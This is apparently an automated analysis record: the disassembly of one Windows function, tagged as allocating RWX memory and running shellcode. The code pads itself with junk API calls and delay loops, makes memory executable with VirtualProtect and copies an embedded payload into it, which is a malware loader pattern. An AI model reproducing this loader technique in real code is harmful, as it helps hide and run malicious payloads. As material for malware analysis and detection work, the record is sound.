Function at 0x4031e5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
push esi
xor esi, esi
cmp dword [0x2fa4a78], 0x5b1
push edi
jne 0x4032a2
push esi
lea eax, [ebp - 0x430]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push 0x402d68
push esi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push esi
call dword [sym.imp.GDI32.dll_GetPolyFillMode]
push 0x402da8
push esi
call fcn.00403b87
push esi
push esi
push esi
push esi
call fcn.00403e3e
push esi
call fcn.0040396f
push esi
push esi
call fcn.00403919
push esi
push esi
call fcn.00403e5b
push esi
push esi
call fcn.0040397a
call fcn.004034ca
push esi
call fcn.00403aac
add esp, 0x34
mov dword [esp], esi
call fcn.00402eb0
fstp st(0)
push esi
call fcn.004041fb
add dword [0x2fa4a78], 0x1134b
push ebx
push dword [0x2fa4a78]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push dword [0x2fa4a78]
mov dword [0x2fa39cc], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x4032fc
inc edi
cmp edi, 0x4f6a4
jl 0x4032da
mov eax, dword [0x2fa4a78]
xor ecx, ecx
cmp eax, esi
jbe 0x403322
mov edx, dword [0x2fa4a7c]
mov dl, byte [edx + ecx + 0x1134b]
mov edi, dword [0x2fa39cc]
mov byte [edi + ecx], dl
inc ecx
cmp ecx, eax
jb 0x403307
xor edi, edi
lea ecx, [eax + edi]
cmp ecx, 0xe
jne 0x40334e
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov eax, dword [0x2fa4a78]
inc edi
cmp edi, 0x39621
jl 0x403324
mov edi, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffA]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
dec edi
jne 0x40335c
call fcn.00403117
push esi
call ebx
cmp edi, 0x26
jne 0x40338c
call fcn.004031cb
inc edi
cmp edi, 0x6753f
jl 0x40337f
push 0x7b
pop edi
pop ebx
cmp dword [0x2fa4a78], 0x86
jne 0x4033e2
push esi
lea eax, [ebp - 0x430]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
dec edi
jne 0x403399
call fcn.00402ecf
pop edi
pop esi
leave
ret